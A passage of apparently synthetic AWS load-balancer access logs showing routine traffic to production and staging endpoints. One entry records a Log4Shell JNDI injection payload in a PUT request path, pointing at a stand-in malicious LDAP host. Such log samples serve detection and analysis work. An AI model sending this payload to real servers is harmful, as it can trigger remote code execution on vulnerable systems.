/checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbdf-f497d337be5740be8c2e91f0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:18:23.700738Z "forward" "-" "-" "10.0.13.67:443" "200" "-" "-" +http 2024-11-01T00:18:25.091099Z staging-alb 125.18.59.152:35782 166.253.58.77:8080 0.020985 0.000411 0.098826 301 301 817 8134 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe1-f65d728c173e494daa2cbdc7" "staging-alb.example.com" "-" 4 2024-11-01T00:18:25.091099Z "forward" "-" "-" "166.253.58.77:8080" "301" "-" "-" +https 2024-11-01T00:18:27.071199Z prod-api-alb 80.14.14.54:52619 10.0.218.87:443 0.047530 0.443579 0.057109 301 301 98 3929 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbe3-ce0f2b4520b34e98832ca7aa" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:27.071199Z "forward" "-" "-" "10.0.218.87:443" "301" "-" "-" +https 2024-11-01T00:18:28.905675Z staging-alb 199.92.230.245:47017 110.57.19.239:443 0.079871 0.654307 0.012245 200 200 22 1866 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe4-ac26a3cd868f4215894f1cb6" "staging-alb.example.com" "-" 8 2024-11-01T00:18:28.905675Z "forward" "-" "-" "110.57.19.239:443" "200" "-" "-" +https 2024-11-01T00:18:29.841587Z staging-alb 238.179.26.143:57854 158.254.198.167:443 0.094288 0.506902 0.045725 302 302 970 8458 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe5-76f6d7be6e52485a94888821" "staging-alb.example.com" "-" 6 2024-11-01T00:18:29.841587Z "forward" "-" "-" "158.254.198.167:443" "302" "-" "-" +http 2024-11-01T00:18:30.318210Z staging-alb 185.194.10.169:39632 99.226.112.177:80 0.078866 0.679196 0.139413 200 200 255 12404 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe6-b168fae518eb4c2cb878ce5c" "staging-alb.example.com" "-" 9 2024-11-01T00:18:30.318210Z "forward" "-" "-" "99.226.112.177:80" "200" "-" "-" +https 2024-11-01T00:18:30.628277Z staging-alb 173.33.99.137:38895 20.63.154.104:8080 0.090543 0.733647 0.113835 302 302 621 5821 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbe6-0523b0688dfd4018943d187a" "staging-alb.example.com" "-" 3 2024-11-01T00:18:30.628277Z "forward" "-" "-" "20.63.154.104:8080" "302" "-" "-" +https 2024-11-01T00:18:31.724698Z prod-web-alb 188.190.2.25:14677 10.0.55.118:443 0.008680 0.407367 0.051316 200 200 295 7337 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbe7-9df215f5ed2d421080a6413a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:18:31.724698Z "forward" "-" "-" "10.0.55.118:443" "200" "-" "-" +https 2024-11-01T00:18:32.898129Z prod-api-alb 121.14.200.38:18747 10.0.72.142:443 0.036660 0.341828 0.084952 200 200 763 5930 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbe8-51e7f40970ee40e4b0756595" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:32.898129Z "forward" "-" "-" "10.0.72.142:443" "200" "-" "-" +http 2024-11-01T00:18:33.402148Z staging-alb 12.237.179.7:31279 238.51.155.202:443 0.131845 0.564540 0.043928 200 200 536 9448 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbe9-f2a2a2c0bc95427d81183c9a" "staging-alb.example.com" "-" 4 2024-11-01T00:18:33.402148Z "forward" "-" "-" "238.51.155.202:443" "200" "-" "-" +https 2024-11-01T00:18:34.364816Z prod-web-alb 58.178.208.70:24932 10.0.237.138:443 0.042581 0.247571 0.030738 200 200 581 14443 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbea-ccd53cc92b8947f0ac5c226e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:18:34.364816Z "forward" "-" "-" "10.0.237.138:443" "200" "-" "-" +https 2024-11-01T00:18:34.638529Z staging-alb 113.225.217.240:41668 111.177.71.185:443 0.094927 0.446893 0.025302 200 200 823 517 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbea-b9da30ec47c44bfd889e6c42" "staging-alb.example.com" "-" 3 2024-11-01T00:18:34.638529Z "forward" "-" "-" "111.177.71.185:443" "200" "-" "-" +https 2024-11-01T00:18:35.042560Z prod-web-alb 179.69.241.218:32285 10.0.223.253:443 0.009266 0.378673 0.076610 200 200 768 2966 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbeb-a8c8a898306b4e62afd8de0d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:18:35.042560Z "forward" "-" "-" "10.0.223.253:443" "200" "-" "-" +https 2024-11-01T00:18:35.779046Z prod-web-alb 26.179.89.218:39495 10.0.110.183:443 0.087123 0.236524 0.056031 200 200 681 5737 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbeb-1c16bc85e52c4da092e7efe2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:18:35.779046Z "forward" "-" "-" "10.0.110.183:443" "200" "-" "-" +https 2024-11-01T00:18:37.242031Z staging-alb 216.122.9.80:29297 179.14.60.94:8080 0.097177 0.347700 0.072465 404 404 227 11630 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbed-0a0d1f07f7ea47a49babd699" "-" "-" 9 2024-11-01T00:18:37.242031Z "forward" "-" "-" "179.14.60.94:8080" "404" "-" "-" +https 2024-11-01T00:18:38.647296Z prod-web-alb 127.254.155.81:30801 10.0.5.195:443 0.061233 0.282631 0.089957 200 200 806 8117 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbee-e69cafc5c2f34fd09dbb7c7d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:18:38.647296Z "forward" "-" "-" "10.0.5.195:443" "200" "-" "-" +https 2024-11-01T00:18:40.000701Z staging-alb 79.132.217.148:42001 66.249.95.168:8080 0.084000 0.682067 0.042152 301 301 771 10108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbf0-22cefc8bada54164a0083aa0" "staging-alb.example.com" "-" 9 2024-11-01T00:18:40.000701Z "forward" "-" "-" "66.249.95.168:8080" "301" "-" "-" +https 2024-11-01T00:18:40.626458Z prod-web-alb 137.70.162.16:56971 10.0.121.133:443 0.074124 0.163639 0.047430 200 200 247 5111 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbf0-9fd129a6af3a4dac98e63517" "prod-web-alb.example.com" "-" 7 2024-11-01T00:18:40.626458Z "forward" "-" "-" "10.0.121.133:443" "200" "-" "-" +https 2024-11-01T00:18:41.197627Z prod-api-alb 254.21.164.9:29842 10.0.47.88:443 0.043854 0.095303 0.019214 302 302 982 4069 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbf1-5235156dc86342d986f1cbe6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:18:41.197627Z "forward" "-" "-" "10.0.47.88:443" "302" "-" "-" +https 2024-11-01T00:18:43.038116Z staging-alb 178.199.171.204:45377 76.82.217.148:8080 0.021995 0.105534 0.046546 404 404 483 14083 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbf3-a906aba87a3841aea54b80cc" "staging-alb.example.com" "-" 8 2024-11-01T00:18:43.038116Z "forward" "-" "-" "76.82.217.148:8080" "404" "-" "-" +https 2024-11-01T00:18:44.764057Z prod-api-alb 70.51.223.59:29372 10.0.217.178:443 0.052662 0.003055 0.061136 200 200 249 9662 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbf4-6bb1a1e8f7e6482186f746c4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:44.764057Z "forward" "-" "-" "10.0.217.178:443" "200" "-" "-" +https 2024-11-01T00:18:45.899719Z staging-alb 45.155.205.66:46943 66.249.44.96:80 0.100358 0.431758 0.128512 500 500 786 4944 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbf5-4f02acd27da34555926c3452" "-" "-" 8 2024-11-01T00:18:45.899719Z "forward" "-" "-" "66.249.44.96:80" "500" "-" "-" +https 2024-11-01T00:18:47.858422Z prod-api-alb 143.145.9.105:59062 10.0.19.33:443 0.057998 0.298462 0.033520 200 200 717 4560 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbf7-2f65151d6ae644459806b78f" "prod-api-alb.example.com" "-" 3 2024-11-01T00:18:47.858422Z "forward" "-" "-" "10.0.19.33:443" "200" "-" "-" +https 2024-11-01T00:18:49.498336Z staging-alb 177.114.176.99:37744 103.40.54.208:80 0.099758 0.353942 0.088216 200 200 356 12994 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbf9-072deddab7f74dc692195b56" "staging-alb.example.com" "-" 4 2024-11-01T00:18:49.498336Z "forward" "-" "-" "103.40.54.208:80" "200" "-" "-" +https 2024-11-01T00:18:49.692656Z prod-web-alb 201.70.37.145:26121 10.0.9.182:443 0.083169 0.189253 0.020557 200 200 202 615 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbf9-efe6b0891d064e74bed078e6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:18:49.692656Z "forward" "-" "-" "10.0.9.182:443" "200" "-" "-" +https 2024-11-01T00:18:50.037149Z prod-api-alb 55.158.230.181:57110 10.0.73.245:443 0.076270 0.126362 0.042960 404 404 315 2602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbfa-77262a7dc46b4d7cbe8aded7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:18:50.037149Z "forward" "-" "-" "10.0.73.245:443" "404" "-" "-" +https 2024-11-01T00:18:51.286066Z prod-web-alb 135.97.247.179:37295 10.0.228.197:443 0.082878 0.273655 0.047967 301 301 188 11706 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbfb-97e6ea9e4b344e18aeaab33a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:51.286066Z "forward" "-" "-" "10.0.228.197:443" "301" "-" "-" +https 2024-11-01T00:18:52.112058Z staging-alb 107.113.151.171:56145 186.217.114.75:443 0.088308 0.671633 0.005878 302 302 4 5993 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbfc-8130d7c3038441f5887d2728" "staging-alb.example.com" "-" 3 2024-11-01T00:18:52.112058Z "forward" "-" "-" "186.217.114.75:443" "302" "-" "-" +http 2024-11-01T00:18:53.989611Z staging-alb 247.83.52.133:13500 248.238.197.81:80 0.094306 0.097096 0.080586 200 200 211 4731 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbfd-1b35a86b87144e34982bb150" "staging-alb.example.com" "-" 3 2024-11-01T00:18:53.989611Z "forward" "-" "-" "248.238.197.81:80" "200" "-" "-" +https 2024-11-01T00:18:55.035961Z prod-api-alb 244.41.21.224:13551 10.0.196.111:443 0.085090 0.123829 0.089450 404 404 952 10523 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbff-d40c513291924cbda19999a1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:55.035961Z "forward" "-" "-" "10.0.196.111:443" "404" "-" "-" +https 2024-11-01T00:18:56.561859Z prod-web-alb 89.47.247.32:41479 10.0.26.206:443 0.022157 0.111280 0.045000 200 200 164 14101 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc00-740bb1fc04aa4bfcaba594ee" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:56.561859Z "forward" "-" "-" "10.0.26.206:443" "200" "-" "-" +https 2024-11-01T00:18:57.588809Z prod-web-alb 51.7.37.197:36968 10.0.243.205:443 0.021210 0.066845 0.081945 200 200 811 608 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc01-bbc68bc3b5b94055abe21e9a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:18:57.588809Z "forward" "-" "-" "10.0.243.205:443" "200" "-" "-" +https 2024-11-01T00:18:59.567185Z staging-alb 4.219.42.46:17541 44.246.249.115:8080 0.111768 0.113789 0.086322 404 404 952 11204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc03-828eb244b5cb4a8485d06839" "staging-alb.example.com" "-" 0 2024-11-01T00:18:59.567185Z "forward" "-" "-" "44.246.249.115:8080" "404" "-" "-" +https 2024-11-01T00:19:00.449655Z staging-alb 193.168.181.12:16203 26.139.119.203:80 0.011009 0.628028 0.008524 200 200 703 7422 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc04-6b240c166a064d79931cc52a" "staging-alb.example.com" "-" 2 2024-11-01T00:19:00.449655Z "forward" "-" "-" "26.139.119.203:80" "200" "-" "-" +https 2024-11-01T00:19:01.561774Z prod-web-alb 136.40.212.43:12125 10.0.109.179:443 0.086994 0.074173 0.064463 200 200 555 7292 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc05-ea933c7a38a64e6b88865c76" "prod-web-alb.example.com" "-" 10 2024-11-01T00:19:01.561774Z "forward" "-" "-" "10.0.109.179:443" "200" "-" "-" +https 2024-11-01T00:19:02.751080Z staging-alb 192.18.81.174:31734 99.76.103.216:8080 0.141513 0.267572 0.072840 301 301 267 3871 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc06-5b1070c45de2479eacdfd82f" "staging-alb.example.com" "-" 4 2024-11-01T00:19:02.751080Z "forward" "-" "-" "99.76.103.216:8080" "301" "-" "-" +http 2024-11-01T00:19:03.110358Z staging-alb 52.204.167.31:17694 43.90.167.196:80 0.112578 0.306341 0.109199 302 302 560 11473 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc07-69f0d753fe624d3dadef0f00" "staging-alb.example.com" "-" 0 2024-11-01T00:19:03.110358Z "forward" "-" "-" "43.90.167.196:80" "302" "-" "-" +https 2024-11-01T00:19:04.019724Z prod-api-alb 156.213.209.79:45484 10.0.124.208:443 0.073632 0.095521 0.095619 404 404 218 8009 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc08-3c4699030a89462583bcad1a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:19:04.019724Z "forward" "-" "-" "10.0.124.208:443" "404" "-" "-" +https 2024-11-01T00:19:05.842903Z prod-api-alb 89.223.180.178:22586 10.0.72.173:443 0.088568 0.183645 0.026525 302 302 202 5733 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc09-70b6e63492c5449cac338c16" "prod-api-alb.example.com" "-" 2 2024-11-01T00:19:05.842903Z "forward" "-" "-" "10.0.72.173:443" "302" "-" "-" +https 2024-11-01T00:19:07.777274Z prod-api-alb 33.59.118.72:55286 10.0.202.99:443 0.008831 0.366979 0.044229 200 200 886 14220 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0b-671af559c64b4d77a8697ec8" "prod-api-alb.example.com" "-" 7 2024-11-01T00:19:07.777274Z "forward" "-" "-" "10.0.202.99:443" "200" "-" "-" +https 2024-11-01T00:19:08.816648Z prod-api-alb 147.249.160.124:28138 10.0.193.243:443 0.084169 0.496781 0.025706 200 200 205 5412 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc0c-caefd5289c7742a984698cbd" "prod-api-alb.example.com" "-" 1 2024-11-01T00:19:08.816648Z "forward" "-" "-" "10.0.193.243:443" "200" "-" "-" +http 2024-11-01T00:19:10.074922Z staging-alb 22.93.252.94:52627 74.110.148.90:8080 0.060530 0.468859 0.036824 200 200 76 3967 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc0e-9260cb7e0af74ae4a6eae097" "staging-alb.example.com" "-" 5 2024-11-01T00:19:10.074922Z "forward" "-" "-" "74.110.148.90:8080" "200" "-" "-" +https 2024-11-01T00:19:11.122822Z prod-web-alb 150.197.122.135:40035 10.0.187.111:443 0.057780 0.468946 0.094208 302 302 715 1517 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc0f-ebaf3cfacd6f470e9cedf1ed" "prod-web-alb.example.com" "-" 2 2024-11-01T00:19:11.122822Z "forward" "-" "-" "10.0.187.111:443" "302" "-" "-" +https 2024-11-01T00:19:11.405683Z prod-api-alb 237.117.71.185:53452 10.0.121.172:443 0.016842 0.226252 0.022358 302 302 489 13054 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0f-d3b7b7b550ab4353bce7da0d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:11.405683Z "forward" "-" "-" "10.0.121.172:443" "302" "-" "-" +https 2024-11-01T00:19:11.959270Z prod-api-alb 254.142.129.172:28022 10.0.238.47:443 0.089080 0.107410 0.024416 302 302 642 10790 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc0f-2a74fdb675674950a3e034c1" "-" "-" 10 2024-11-01T00:19:11.959270Z "forward" "-" "-" "10.0.238.47:443" "302" "-" "-" +https 2024-11-01T00:19:13.721454Z prod-web-alb 205.144.60.227:26799 10.0.210.170:443 0.064972 0.191839 0.004117 200 200 479 11254 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc11-e2ea0aef008746f68ebcfd96" "prod-web-alb.example.com" "-" 3 2024-11-01T00:19:13.721454Z "forward" "-" "-" "10.0.210.170:443" "200" "-" "-" +https 2024-11-01T00:19:15.546632Z prod-api-alb 236.205.68.165:30182 10.0.31.136:443 0.093119 0.065470 0.041996 404 404 403 9293 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc13-5b7f3d9cbb744d46b9154b70" "prod-api-alb.example.com" "-" 4 2024-11-01T00:19:15.546632Z "forward" "-" "-" "10.0.31.136:443" "404" "-" "-" +https 2024-11-01T00:19:16.700708Z prod-web-alb 14.112.176.116:53652 10.0.16.147:443 0.041804 0.447916 0.030329 404 404 61 1079 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc14-09422e16c1de45e7945c58e1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:19:16.700708Z "forward" "-" "-" "10.0.16.147:443" "404" "-" "-" +http 2024-11-01T00:19:18.073661Z staging-alb 122.193.25.9:62412 41.46.222.175:443 0.143599 0.705046 0.068569 200 200 902 2931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 